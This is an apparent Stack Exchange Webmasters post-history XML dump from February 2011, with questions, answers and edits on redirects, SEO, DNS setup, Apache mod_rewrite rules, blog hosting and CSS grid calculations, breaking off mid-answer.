  <row Id="21619" PostHistoryTypeId="2" PostId="9740" RevisionGUID="f9a6df7c-3887-410a-9636-e32c1fd7c198" CreationDate="2011-02-26T15:08:03.367" UserId="1253" Text="Having multiple domains point to one website is common as a company will buy variations of their main domain name (other TLDs, misspellings) and then point them to their main domain so on the off chance that someone uses one of those variations they still will end up at the company's website. &#xD;&#xA;&#xD;&#xA;As far as SEO goes having so many domains pointing to one place is not helpful and can be harmful if done incorrectly. If the domain names pull up the same content as the main domain and no 301 redirect is done or a canonical URL is given then those pages will be seen as duplicate content. At best they will be diluting their presence in the search engines by having their content spread out over so many domains, at worst they will have the duplicate filtered out and possibly have less content in the search results if they can't determine which content is the original content. &#xD;&#xA;&#xD;&#xA;Additionally, when a redirect is used it will effectively tell Google that URL no longer exists and has moved to the main URL. So having keyword rich add on domains won't actually accomplish anything.&#xD;&#xA;&#xD;&#xA;But if it is all set up properly, either through DNS or 301 redirects in Apache, then it shouldn't be messy or harmful to the site. So if it is messy then it probably is done wrong and really needs to be cleaned up." />
  <row Id="21620" PostHistoryTypeId="2" PostId="9741" RevisionGUID="12d6a1ab-65a9-4d73-9090-934755186f4b" CreationDate="2011-02-26T15:13:31.147" UserId="1253" Text="Take a look at the URL of this page. It closely matches option #1. &#xD;&#xA;&#xD;&#xA;I'm not sure if there is a limit to how long a URL search engines will index but if they do have a limit and your URL exceeds it then the ID (695 in your example) will be truncated and the page will become in accessible to them. Having the ID early in the URL will ensure they can always access the page. " />
  <row Id="21621" PostHistoryTypeId="25" PostId="9739" RevisionGUID="b5df2d4c-ecbd-4844-bb03-843b1e09071a" CreationDate="2011-02-26T17:22:58.933" Comment="http://twitter.com/#!/StackWebmasters/status/41548793921011713" />
  <row Id="21622" PostHistoryTypeId="2" PostId="9742" RevisionGUID="5062ceed-7f50-40a5-b39a-ef10ccda818f" CreationDate="2011-02-26T17:46:52.197" UserId="1429" Text="searching on http://www.yahoo.it for `villa matrimonio bologna` I noticed Yahoo shows different results. You need to retry few times to get this done maybe exiting the browser and openeing it again, or maybe searching once and then clearing browser cookies and then search again (it's even easier to test if you use two different browsers at the same time to search for the same phrase).&#xD;&#xA;&#xD;&#xA;Anyway in order to reproduce this easily I write down here the query shown in the address bar after the search, so you can just click on these to see the results shown by entering these query:&#xD;&#xA;&#xD;&#xA; - http://it.search.yahoo.com/search;_ylt=AirvLYKvBMPP_6MpAmONN14brK5_?vc=&amp;p=villa+matrimonio+bologna&amp;toggle=1&amp;cop=mss&amp;ei=UTF-8&amp;fr=yfp-t-709&#xD;&#xA;&#xD;&#xA; - http://it.search.yahoo.com/search;_ylt=AirvLYKvBMPP_6MpAmONN14brK5_?vc=&amp;p=villa+matrimonio+bologna&amp;toggle=1&amp;cop=mss&amp;ei=UTF-8&amp;fr=sfp &#xD;&#xA;&#xD;&#xA;Note the last parameter `fr` is different, but it's Yahoo that set it (not me), I don't even know what it means.&#xD;&#xA;&#xD;&#xA;You can see in the search box that **the searched phrase is IDENTICAL in both cases**.&#xD;&#xA;&#xD;&#xA;**So why Yahoo is giving out different results on same search phrase?**&#xD;&#xA;&#xD;&#xA;I used the same browser and performed the test in few minutes by simply trying more than once. &#xD;&#xA;&#xD;&#xA;You may also notice that the number of results returned (written on the left side of the page) is different, for the 1st search it returns 274K results, for the 2nd one 5.38M results.&#xD;&#xA;&#xD;&#xA;Actually you might think that this is just an error on Yahoo, but it's almost 1 year that while looking once in a while at some websites to see how they are ranking on Yahoo and also Google, I noticed that two searches on the same phrase show up different results even on the same day after few minutes/hours. **I couldn't reproduce this behaviour also on Google so I can not say for sure, but since it seems to me it happened sometimes I was wondering if anyone of you noticed it too.**&#xD;&#xA;&#xD;&#xA;**Do you know if this is the normal behaviour of search engines?** Because if it's normal (and it's just me that noticed it only now) **I wonder how do you understand how well a site is ranking on a search engine, you could even see one of your customer's website ranking differently compared to what your customer sees on his PC**." />
  <row Id="21623" PostHistoryTypeId="1" PostId="9742" RevisionGUID="5062ceed-7f50-40a5-b39a-ef10ccda818f" CreationDate="2011-02-26T17:46:52.197" UserId="1429" Text="Yahoo search: different results shown in two identical searches" />
  <row Id="21624" PostHistoryTypeId="3" PostId="9742" RevisionGUID="5062ceed-7f50-40a5-b39a-ef10ccda818f" CreationDate="2011-02-26T17:46:52.197" UserId="1429" Text="&lt;seo&gt;&lt;yahoo&gt;&lt;serps&gt;" />
  <row Id="21625" PostHistoryTypeId="5" PostId="9557" RevisionGUID="e59d62fa-7ad9-4e3b-a2eb-8e67fa27d5eb" CreationDate="2011-02-26T18:06:37.630" UserId="1429" Comment="added 1 characters in body" Text="1. Buy `yourdomain.com` from a domain reseller. Make sure they allow you to setup the DNS of the domain from their control panel. Many resellers offer the DNS with teh domain and allow you to change it using a simple control panel.&#xD;&#xA;&#xD;&#xA;2. After you bought the domain, enter the control panel for the DNS and set up these records:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;   yourdomain.com  | A | your.static.IP&#xD;&#xA;   www.yourdomain.com  | A | your.static.IP&#xD;&#xA;   mail.yourdomain.com | A | your.static.IP (this last record only if you set up also a mail server on your computer)&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Obviously replace `your.static.IP` with your real static IP XXX.XXX.XXX.XXX of your home computer.&#xD;&#xA;&#xD;&#xA;Then you are all set up.&#xD;&#xA;Now you need only your computer to never stop or being powered off, otherwise people won't be able to see your site.&#xD;&#xA;&#xD;&#xA;Anyway for a production site I highly discourage this approach, and considering the cheap price of webhosters I would rather buy a Linux webhosting plan with cPanel on it (i.e http://www.qualityhostonline.com) and place your website there. It's also an opportunity for you to learn cPanel, whilest setting up the website on your PC you would learn useless stuff because nobody will ever want a site to be hosted there for real.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21626" PostHistoryTypeId="4" PostId="4604" RevisionGUID="409c15bf-2d97-496d-826c-cc5e26da1794" CreationDate="2011-02-26T18:17:47.710" UserId="1429" Comment="edited title" Text="Google spam report, have they ever punished a bad site you reported?" />
  <row Id="21627" PostHistoryTypeId="2" PostId="9743" RevisionGUID="ff2df787-1d27-4b90-90f1-28894eb19469" CreationDate="2011-02-26T18:59:39.383" UserId="5679" Text="I have two addresses for two servers:&#xD;&#xA;&#xD;&#xA;www.urlA.com&#xD;&#xA;&#xD;&#xA;www.urlB.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have all my websites installed in www.urlB.com, but visitors recognize www.urlA.com primarily.&#xD;&#xA;&#xD;&#xA;I have www.urlA.com/index.php as the following&#xD;&#xA;&#xD;&#xA;&lt;?php&#xD;&#xA;header('Location: http://www.urlB.com/');&#xD;&#xA;?&gt;&#xD;&#xA;&#xD;&#xA;But, when I use this forwarding method, the tracking javascript in www.urlB.com cannot recognize where the visitors are from. I only obtain &quot;NO REFERRING LINK&quot;&#xD;&#xA;&#xD;&#xA;What should I do to do the following two jobs:&#xD;&#xA;1. to forward urlA.com to urlB.com&#xD;&#xA;2. to receive the referrer information&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21628" PostHistoryTypeId="1" PostId="9743" RevisionGUID="ff2df787-1d27-4b90-90f1-28894eb19469" CreationDate="2011-02-26T18:59:39.383" UserId="5679" Text="can I forward &quot;referrer&quot; information to other address?" />
  <row Id="21629" PostHistoryTypeId="3" PostId="9743" RevisionGUID="ff2df787-1d27-4b90-90f1-28894eb19469" CreationDate="2011-02-26T18:59:39.383" UserId="5679" Text="&lt;php&gt;&lt;referrer&gt;" />
  <row Id="21630" PostHistoryTypeId="5" PostId="9743" RevisionGUID="b320faf9-0edc-44de-ba06-af4fd2424d79" CreationDate="2011-02-26T19:02:37.127" UserId="1253" Comment="Put PHP code into code tags" Text="I have two addresses for two servers:&#xD;&#xA;&#xD;&#xA;www.urlA.com&#xD;&#xA;&#xD;&#xA;www.urlB.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have all my websites installed in www.urlB.com, but visitors recognize www.urlA.com primarily.&#xD;&#xA;&#xD;&#xA;I have www.urlA.com/index.php as the following&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    header('Location: http://www.urlB.com/');&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;But, when I use this forwarding method, the tracking javascript in www.urlB.com cannot recognize where the visitors are from. I only obtain &quot;NO REFERRING LINK&quot;&#xD;&#xA;&#xD;&#xA;What should I do to do the following two jobs:&#xD;&#xA;1. to forward urlA.com to urlB.com&#xD;&#xA;2. to receive the referrer information&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21631" PostHistoryTypeId="2" PostId="9744" RevisionGUID="5eebbdb9-3ee2-45f3-b5d6-612998026812" CreationDate="2011-02-26T19:03:21.557" UserId="1253" Text="Try using a 301 redirect:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    header('Location: http://www.urlB.com/', true, 301);&#xD;&#xA;    ?&gt;" />
  <row Id="21632" PostHistoryTypeId="25" PostId="9743" RevisionGUID="f55aa93e-2ad4-4dbd-8080-30f49a59e90d" CreationDate="2011-02-26T20:22:59.573" Comment="http://twitter.com/#!/StackWebmasters/status/41594094211825664" />
  <row Id="21633" PostHistoryTypeId="2" PostId="9745" RevisionGUID="ff2cf34a-6aa9-43d7-abda-258f4bf8959a" CreationDate="2011-02-26T21:09:00.570" UserId="5683" Text="Here are few:&#xD;&#xA;&#xD;&#xA; - [Co.cc][1]&#xD;&#xA; - [Free-Name.org][2]&#xD;&#xA; - [Free Domain Name][3]&#xD;&#xA; - [Eu.org][4]&#xD;&#xA; - [Dot TK][5]&#xD;&#xA;&#xD;&#xA;I have only tried Co.cc and Eu.org. The former one has instant registration, the latter requires admin approval (can be weeks).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.co.cc/&#xD;&#xA;  [2]: http://free-name.org/&#xD;&#xA;  [3]: http://www.freedomainsite.com/free_domain_details.htm&#xD;&#xA;  [4]: http://eu.org/&#xD;&#xA;  [5]: http://www.dot.tk" />
  <row Id="21634" PostHistoryTypeId="5" PostId="9745" RevisionGUID="3f3082a8-eab9-4d3b-b4cb-62fb799a9d80" CreationDate="2011-02-26T21:16:49.310" UserId="5683" Comment="deleted 16 characters in body" Text="Here are few:&#xD;&#xA;&#xD;&#xA; - [Co.cc][1]&#xD;&#xA; - [Free-Name.org][2]&#xD;&#xA; - [Free Domain Name][3]&#xD;&#xA; - [Eu.org][4]&#xD;&#xA;&#xD;&#xA;I have only tried Co.cc and Eu.org. The former one has instant registration, the latter requires admin approval (can be weeks).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.co.cc/&#xD;&#xA;  [2]: http://free-name.org/&#xD;&#xA;  [3]: http://www.freedomainsite.com/free_domain_details.htm&#xD;&#xA;  [4]: http://eu.org/&#xD;&#xA;  [5]: http://www.dot.tk" />
  <row Id="21635" PostHistoryTypeId="2" PostId="9746" RevisionGUID="b33bc8f6-3572-4d2e-9a21-e6b1024be9dc" CreationDate="2011-02-26T22:44:03.213" UserId="5682" Text="I'd like to start a blog and I'm leaning towards a hosted, paid platform. I don't want to maintain a Web server. I also don't want the hosting company to put their own ads or branding on my site.&#xD;&#xA;&#xD;&#xA;[Squarespace][1] looks interesting, though kind of pricey. About the same price as [TypePad][2] I guess. (I might consider TypePad, but I personally find their UI difficult to use.) WordPress is cheaper but I think they're more known for their software than their hosting.&#xD;&#xA;&#xD;&#xA;Has anyone tried Squarespace? Are there other options I should consider?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.squarespace.com/&#xD;&#xA;  [2]: http://www.typepad.com/" />
  <row Id="21636" PostHistoryTypeId="1" PostId="9746" RevisionGUID="b33bc8f6-3572-4d2e-9a21-e6b1024be9dc" CreationDate="2011-02-26T22:44:03.213" UserId="5682" Text="Any thoughts on Squarespace as a blogging platform?" />
  <row Id="21637" PostHistoryTypeId="3" PostId="9746" RevisionGUID="b33bc8f6-3572-4d2e-9a21-e6b1024be9dc" CreationDate="2011-02-26T22:44:03.213" UserId="5682" Text="&lt;web-hosting&gt;&lt;wordpress&gt;&lt;blog&gt;&lt;squarespace&gt;" />
  <row Id="21638" PostHistoryTypeId="2" PostId="9747" RevisionGUID="ee2c5de0-d30f-48e7-bebf-cf36cb9454f6" CreationDate="2011-02-26T23:02:41.413" UserId="4751" Text="Given the following rewrite rule:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^user/([^/]*)$ /userprofile.php?user=$1 [L]&#xD;&#xA;&#xD;&#xA;How can I have it work either with or without a trailing slash?&#xD;&#xA;&#xD;&#xA;Bonus points, how can I verify `([^/]*)` contains only numerals?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21639" PostHistoryTypeId="1" PostId="9747" RevisionGUID="ee2c5de0-d30f-48e7-bebf-cf36cb9454f6" CreationDate="2011-02-26T23:02:41.413" UserId="4751" Text="Regex Needed to allow mod-rewrite rule to work either with or without trailing slash?" />
  <row Id="21640" PostHistoryTypeId="3" PostId="9747" RevisionGUID="ee2c5de0-d30f-48e7-bebf-cf36cb9454f6" CreationDate="2011-02-26T23:02:41.413" UserId="4751" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="21641" PostHistoryTypeId="17" PostId="9747" RevisionGUID="5bf67f79-5149-4c3b-a96c-9173b799d4f1" CreationDate="2011-02-26T23:12:50.840" UserId="-1" Comment="from http://serverfault.com/questions/240696/regex-needed-to-allow-mod-rewrite-rule-to-work-either-with-or-without-trailing-sl" Text="" />
  <row Id="21642" PostHistoryTypeId="2" PostId="9748" RevisionGUID="9abeab68-23e9-40ef-8c85-0e2149c4d649" CreationDate="2011-02-26T23:21:31.183" UserId="5687" Text="I want to change some legacy URL's like this:&#xD;&#xA;&#xD;&#xA;    /modules.php?name=News&amp;file=article&amp;sid=600&#xD;&#xA;&#xD;&#xA;to this:&#xD;&#xA;&#xD;&#xA;    /news/story/600/&#xD;&#xA;&#xD;&#xA;This is what I have tried:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{QUERY_STRING} ^name=News&amp;file=([a-z_]+)&amp;sid=([0-9]+)&#xD;&#xA;    RewriteRule ^modules\.php /news/story/%2/ [R=301,L]&#xD;&#xA;&#xD;&#xA;However I still get 404's on the old URLs.&#xD;&#xA;&#xD;&#xA;I do have some other rewrite rules working, so I am pretty sure mod_rewrite is enabled and functioning.&#xD;&#xA;&#xD;&#xA;Any ideas? Thanks." />
  <row Id="21643" PostHistoryTypeId="1" PostId="9748" RevisionGUID="9abeab68-23e9-40ef-8c85-0e2149c4d649" CreationDate="2011-02-26T23:21:31.183" UserId="5687" Text="Help with Apache mod_rewrite rules" />
  <row Id="21644" PostHistoryTypeId="3" PostId="9748" RevisionGUID="9abeab68-23e9-40ef-8c85-0e2149c4d649" CreationDate="2011-02-26T23:21:31.183" UserId="5687" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="21645" PostHistoryTypeId="2" PostId="9749" RevisionGUID="74d877f2-2d46-4f05-9dfa-c8a0ba0f3237" CreationDate="2011-02-26T23:22:55.813" UserId="346" Text="Although I don't have huge experience with SquareSpace, I have had good luck with the one professional site that I maintain there.  I give SquareSpace a positive recommendation.  We switched from TypePad to SquareSpace.  We switched because TypePad wasn't graphically as &quot;cool&quot; as SquareSpace.  It was easy to get started and I remain a happy customer.&#xD;&#xA;&#xD;&#xA;From a reliability point of view, I don't monitor it as close as I do some other sites, but I don't think I've EVER been aware of an outage or problem in the 18 months or so that we've been using SquareSpace.&#xD;&#xA;&#xD;&#xA;Although there are many platforms, the only other one I have experience with is blogger, which after Google acquired it, it languished with no feature improvements for a while.  I'm not sure how competitive it is now." />
  <row Id="21646" PostHistoryTypeId="25" PostId="9746" RevisionGUID="c2812abf-fd6f-4f55-bfb6-0b2cb0647837" CreationDate="2011-02-26T23:22:59.997" Comment="http://twitter.com/#!/StackWebmasters/status/41639394339323904" />
  <row Id="21647" PostHistoryTypeId="2" PostId="9750" RevisionGUID="3b4692a8-83fd-414d-bcf5-18faefc24924" CreationDate="2011-02-26T23:25:04.927" UserId="1757" Text="Are you expecting such high levels of traffic that VPS/Dedicated are your only regular web hosting options? Because most sites do just fine on shared hosting, where you're not the one managing the web server.&#xD;&#xA;&#xD;&#xA;And whether you're using WP, Typepad, or Squarespace, you're picking a SaaS (Software as a Service) provider. Their hosting is all going to be the same. You won't have access to real web hosting features like server-side scripting, RDBMS, shell accounts, etc. And these large blogging platform providers all have pretty much the same level of uptime and connection speeds. So if you're going to make your decision based on anything, it should be based on the software:&#xD;&#xA;&#xD;&#xA; - **How good (intuitive, powerful) is the interface?** The interface is what you'll be interacting with, so this should weigh pretty heavily in your decision.&#xD;&#xA; - **Does it have all the blogging/CMS features you need?** E.g. is it extensible enough for the type of site you want to build?&#xD;&#xA; - **Does the platform give you adequate room for growth?** Will you want to expand to offer e-commerce or a forum? Will you want to integrate advanced analytics and lead generation systems 2-3 years down the road?&#xD;&#xA; - **How easy is it to export your data and migrate to another blogging platform?** If you outgrow the platform or something better comes along, will you be locked in because all of your data is with this service provider?&#xD;&#xA;&#xD;&#xA;Personally, I'd just get a good regular shared hosting plan for $8/month and have access to all of the features of the $36/month Squarespace plan and more. Most web hosts come with one-click installs of Wordpress anyway, so it doesn't take any kind of web development knowledge to be up and running with a full-featured blog in just 5 minutes.&#xD;&#xA;&#xD;&#xA;That said, if you have fairly basic/standard blogging needs and don't need any advanced or custom features, and you're not that comfortable around computers, then it may be worthwhile to spend more to have most of the technical stuff hidden from you.&#xD;&#xA;&#xD;&#xA;To have some of the more advanced sites showcased by Squarespace, you still need to have some technical knowledge or hire a web developer to work on your site, but for a basic blog site you could probably get by without one. And unlike getting a real web host, you won't have to upgrade the software yourself. It'll all be done for you. (Though, you can probably just hire some high school student to upgrade your Wordpress install every 6 months for $20.)" />
  <row Id="21648" PostHistoryTypeId="2" PostId="9751" RevisionGUID="a4174a90-c53f-47d5-b9b1-91d3a7298d6c" CreationDate="2011-02-26T23:30:20.330" UserId="2660" Text="   &#xD;&#xA;    RewriteRule ^user/([0-9]+)(?/)$    /userprofile.php?user=$1   [L]&#xD;&#xA;&#xD;&#xA;The above rule should match on these conditions:&#xD;&#xA;&#xD;&#xA; - `user/123`&#xD;&#xA; - `user/123/`&#xD;&#xA;&#xD;&#xA;It will not match:&#xD;&#xA;&#xD;&#xA; - `user/fred`&#xD;&#xA; - `user/123fred`&#xD;&#xA; - `user/fred123`&#xD;&#xA;&#xD;&#xA;`([0-9]+)` means match any numeral with one or more digits. &lt;br&gt;&#xD;&#xA;`(?/)$` means an optional match of a slash, followed by a mandatory end-of-string. &#xD;&#xA;&#xD;&#xA;For extra credit, you can even use this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^user/([0-9]{1,9})(?/)$    /userprofile.php?user=$1   [L]&#xD;&#xA;&#xD;&#xA;Which tells it to match numbers between one and nine digits (the `{1,9}` thing). Useful as an input-validator." />
  <row Id="21649" PostHistoryTypeId="5" PostId="9751" RevisionGUID="6f802dd7-a5db-4a20-b92e-77cfef406638" CreationDate="2011-02-27T01:42:01.450" UserId="2660" Comment="Fix reged order." Text="   &#xD;&#xA;    RewriteRule ^user/([0-9]+)(/?)$    /userprofile.php?user=$1   [L]&#xD;&#xA;&#xD;&#xA;The above rule should match on these conditions:&#xD;&#xA;&#xD;&#xA; - `user/123`&#xD;&#xA; - `user/123/`&#xD;&#xA;&#xD;&#xA;It will not match:&#xD;&#xA;&#xD;&#xA; - `user/fred`&#xD;&#xA; - `user/123fred`&#xD;&#xA; - `user/fred123`&#xD;&#xA;&#xD;&#xA;`([0-9]+)` means match any numeral with one or more digits. &lt;br&gt;&#xD;&#xA;`(/?)$` means an optional match of a slash, followed by a mandatory end-of-string. &#xD;&#xA;&#xD;&#xA;For extra credit, you can even use this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^user/([0-9]{1,9})(/?)$    /userprofile.php?user=$1   [L]&#xD;&#xA;&#xD;&#xA;Which tells it to match numbers between one and nine digits (the `{1,9}` thing). Useful as an input-validator." />
  <row Id="21650" PostHistoryTypeId="25" PostId="9747" RevisionGUID="7dc0fcbe-11d9-49b1-9d1a-7868cf53f65d" CreationDate="2011-02-27T02:23:00.540" Comment="http://twitter.com/#!/StackWebmasters/status/41684695208960000" />
  <row Id="21651" PostHistoryTypeId="2" PostId="9752" RevisionGUID="ad866b9d-56d9-4104-9845-71c374967ead" CreationDate="2011-02-27T02:55:38.283" UserDisplayName="user5688" Text="Where are these &quot;other rewrite rules&quot; located? In the same .conf or .htaccess file? I think you need `Options +FollowSymlinks` on the line just above `RewriteEngine on`." />
  <row Id="21652" PostHistoryTypeId="5" PostId="9748" RevisionGUID="504430ba-bfb6-4a9b-a203-fe8418b41334" CreationDate="2011-02-27T02:58:54.817" UserId="5687" Comment="Provided clarification." Text="I want to change some legacy URL's like this:&#xD;&#xA;&#xD;&#xA;    /modules.php?name=News&amp;file=article&amp;sid=600&#xD;&#xA;&#xD;&#xA;to this:&#xD;&#xA;&#xD;&#xA;    /news/story/600/&#xD;&#xA;&#xD;&#xA;This is what I have tried:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{QUERY_STRING} ^name=News&amp;file=([a-z_]+)&amp;sid=([0-9]+)&#xD;&#xA;    RewriteRule ^modules\.php /news/story/%2/ [R=301,L]&#xD;&#xA;&#xD;&#xA;However I still get 404's on the old URLs.&#xD;&#xA;&#xD;&#xA;I do have some other rewrite rules working, so I am pretty sure mod_rewrite is enabled and functioning. These rules are in a httpd.conf file in a VirtualHost container.&#xD;&#xA;&#xD;&#xA;Any ideas? Thanks." />
  <row Id="21653" PostHistoryTypeId="5" PostId="9748" RevisionGUID="616c7826-c30f-4ecf-8c61-e465c7a5c691" CreationDate="2011-02-27T03:22:16.333" UserId="5687" Comment="added 175 characters in body" Text="I want to change some legacy URL's like this:&#xD;&#xA;&#xD;&#xA;    /modules.php?name=News&amp;file=article&amp;sid=600&#xD;&#xA;&#xD;&#xA;to this:&#xD;&#xA;&#xD;&#xA;    /news/story/600/&#xD;&#xA;&#xD;&#xA;This is what I have tried:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{QUERY_STRING} ^name=News&amp;file=([a-z_]+)&amp;sid=([0-9]+)&#xD;&#xA;    RewriteRule ^modules\.php /news/story/%2/ [R=301,L]&#xD;&#xA;&#xD;&#xA;However I still get 404's on the old URLs.&#xD;&#xA;&#xD;&#xA;I do have some other rewrite rules working, so I am pretty sure mod_rewrite is enabled and functioning. These rules are in a httpd.conf file in a VirtualHost container.&#xD;&#xA;&#xD;&#xA;I should also mention this is for a Python application (using Django) running with mod_wsgi. Should the rewrites happen before the URLs are passed to the wsgi application?&#xD;&#xA;&#xD;&#xA;Any ideas? Thanks." />
  <row Id="21654" PostHistoryTypeId="25" PostId="9748" RevisionGUID="8240993d-65e4-4f67-9f17-4c5e4aaf7c2d" CreationDate="2011-02-27T05:23:00.390" Comment="http://twitter.com/#!/StackWebmasters/status/41729993042034688" />
  <row Id="21655" PostHistoryTypeId="2" PostId="9753" RevisionGUID="add5704a-235c-4f7b-a233-68ad6d606a63" CreationDate="2011-02-27T06:56:39.580" UserId="5679" Text="My website appears in Google search, but only the first page. Of course I have sub-pages linked from the first page, but the sub-pages do not show in Google search. Not in Yahoo, not in Bing.&#xD;&#xA;&#xD;&#xA;What should I do? It has been three years that sub-pages do not show. (I tried searching site:mydomain.com and pressed 'repeat the search with the omitted results included' link) What would you suspect the reason? &#xD;&#xA;&#xD;&#xA;My website addresses were like  xxx.php?yy=zzz etc, etc, so I changed it to /yy/zzz using mod_rewrite.&#xD;&#xA;&#xD;&#xA;I thought it might be (X)HTML standard violations, so now I changed it.&#xD;&#xA;&#xD;&#xA;I hope Google will soon have my entire website, but I am a little bit pessimistic.&#xD;&#xA;&#xD;&#xA;Do you have any thought? " />
  <row Id="21656" PostHistoryTypeId="1" PostId="9753" RevisionGUID="add5704a-235c-4f7b-a233-68ad6d606a63" CreationDate="2011-02-27T06:56:39.580" UserId="5679" Text="Google search does not show sub-pages from my website" />
  <row Id="21657" PostHistoryTypeId="3" PostId="9753" RevisionGUID="add5704a-235c-4f7b-a233-68ad6d606a63" CreationDate="2011-02-27T06:56:39.580" UserId="5679" Text="&lt;google&gt;" />
  <row Id="21658" PostHistoryTypeId="2" PostId="9754" RevisionGUID="8d2ddc68-bfd9-4b64-81c2-da09eb9ee879" CreationDate="2011-02-26T19:44:04.237" UserDisplayName="Twinborn" Text="I have my own grid layout, and I am creating multiple column designs for a website. Is there any formula I can follow to create different column designs with identical gutter space, ie. margins?&#xD;&#xA;&#xD;&#xA;Most are the alike, (through trial and error), however some are a pixel off and I am looking to make it pixel perfect.&#xD;&#xA;" />
  <row Id="21659" PostHistoryTypeId="1" PostId="9754" RevisionGUID="8d2ddc68-bfd9-4b64-81c2-da09eb9ee879" CreationDate="2011-02-26T19:44:04.237" UserDisplayName="Twinborn" Text="Math to create web design grids?" />
  <row Id="21660" PostHistoryTypeId="3" PostId="9754" RevisionGUID="8d2ddc68-bfd9-4b64-81c2-da09eb9ee879" CreationDate="2011-02-26T19:44:04.237" UserDisplayName="Twinborn" Text="&lt;html&gt;&lt;css&gt;&lt;web-development&gt;&lt;grid&gt;" />
  <row Id="21661" PostHistoryTypeId="17" PostId="9754" RevisionGUID="4173c52f-72e9-49b0-bc1f-c61cc1210fa3" CreationDate="2011-02-27T07:49:37.677" UserId="-1" Comment="from http://stackoverflow.com/questions/5129290/math-to-create-web-design-grids" Text="" />
  <row Id="21662" PostHistoryTypeId="2" PostId="9755" RevisionGUID="6f6b0dae-8519-432b-8411-9bbc87ce81c3" CreationDate="2011-02-27T08:19:16.483" UserId="1757" Text="Based on sdleihssirhc's description:&#xD;&#xA;&#xD;&#xA;    columnWidth = (layoutWidth + gutter)/columns - gutter" />
  <row Id="21663" PostHistoryTypeId="25" PostId="9753" RevisionGUID="701fe379-4008-49ee-bee3-544da4142e51" CreationDate="2011-02-27T08:23:00.340" Comment="http://twitter.com/#!/StackWebmasters/status/41775291269513216" />
  <row Id="21667" PostHistoryTypeId="5" PostId="9755" RevisionGUID="4303f3fb-ce74-4b84-b4bc-482c2cdd6c9d" CreationDate="2011-02-27T08:27:08.933" UserId="1757" Comment="added 244 characters in body" Text="Based on sdleihssirhc's description:&#xD;&#xA;&#xD;&#xA;    columnWidth = (layoutWidth + gutter)/columns - gutter&#xD;&#xA;&#xD;&#xA;Though if you're going with your own grid design, it's easier to just add it up, e.g.:&#xD;&#xA;&#xD;&#xA;    columns = 3&#xD;&#xA;    columnWidth = 280px&#xD;&#xA;    gutter = 50px&#xD;&#xA;    gutters = 2&#xD;&#xA;    layoutWidth = 3*280px + 2*50px&#xD;&#xA;      = 840px + 100px&#xD;&#xA;      = 940px" />
  <row Id="21668" PostHistoryTypeId="5" PostId="9755" RevisionGUID="ac05f450-60cf-4abd-adff-f4cadbedae42" CreationDate="2011-02-27T08:39:06.693" UserId="1757" Comment="added 472 characters in body" Text="Based on sdleihssirhc's description, without outside gutters:&#xD;&#xA;&#xD;&#xA;    columnWidth = (layoutWidth + gutter)/columns - gutter&#xD;&#xA;&#xD;&#xA;With outside gutters:&#xD;&#xA;&#xD;&#xA;    columnWidth = (layoutWidth - gutter)/columns - gutter&#xD;&#xA;&#xD;&#xA;Though if you're going with your own grid design, it's easier to just add it up, e.g.:&#xD;&#xA;&#xD;&#xA;    columns = 3&#xD;&#xA;    columnWidth = 280px&#xD;&#xA;    gutter = 50px&#xD;&#xA;    gutters = 2&#xD;&#xA;    layoutWidth = 3*280px + 2*50px&#xD;&#xA;      = 840px + 100px&#xD;&#xA;      = 940px&#xD;&#xA;&#xD;&#xA;Alternatively, if you want a grid with outside gutters, just build from columns without gutters and then subtract out your gutters:&#xD;&#xA;&#xD;&#xA;    layoutWidth = 960px&#xD;&#xA;    columns = 3&#xD;&#xA;    _columnWidth = 320px&#xD;&#xA;    gutters = 30px&#xD;&#xA;    columnWidth = 320px - 30px*(4/3)&#xD;&#xA;      = 320px - 40px&#xD;&#xA;      = 280px&#xD;&#xA;&#xD;&#xA;This way you don't get weird numbers like 293.33333333px." />
  <row Id="21669" PostHistoryTypeId="5" PostId="9755" RevisionGUID="db7edf9e-a598-4ef8-a30d-9ead8beaedc6" CreationDate="2011-02-27T08:45:30.293" UserId="1757" Comment="deleted 41 characters in body" Text="Based on sdleihssirhc's description, without outside gutters:&#xD;&#xA;&#xD;&#xA;    columnWidth = (layoutWidth + gutter)/columns - gutter&#xD;&#xA;&#xD;&#xA;With outside gutters:&#xD;&#xA;&#xD;&#xA;    columnWidth = (layoutWidth - gutter)/columns - gutter&#xD;&#xA;&#xD;&#xA;Though if you're going with your own grid design, it's easier to just add it up, e.g.:&#xD;&#xA;&#xD;&#xA;    columns = 3&#xD;&#xA;    columnWidth = 280px&#xD;&#xA;    gutter = 50px&#xD;&#xA;    gutters = 2&#xD;&#xA;    layoutWidth = 3*280px + 2*50px&#xD;&#xA;      = 840px + 100px&#xD;&#xA;      = 940px&#xD;&#xA;&#xD;&#xA;Alternatively, just build from columns without gutters and then subtract out your gutters:&#xD;&#xA;&#xD;&#xA;    layoutWidth = 960px&#xD;&#xA;    columns = 3&#xD;&#xA;    _columnWidth = 320px&#xD;&#xA;    gutters = 30px&#xD;&#xA;    columnWidth = 320px - 30px*(4/3)&#xD;&#xA;      = 320px - 40px&#xD;&#xA;      = 280px&#xD;&#xA;&#xD;&#xA;This way you don't 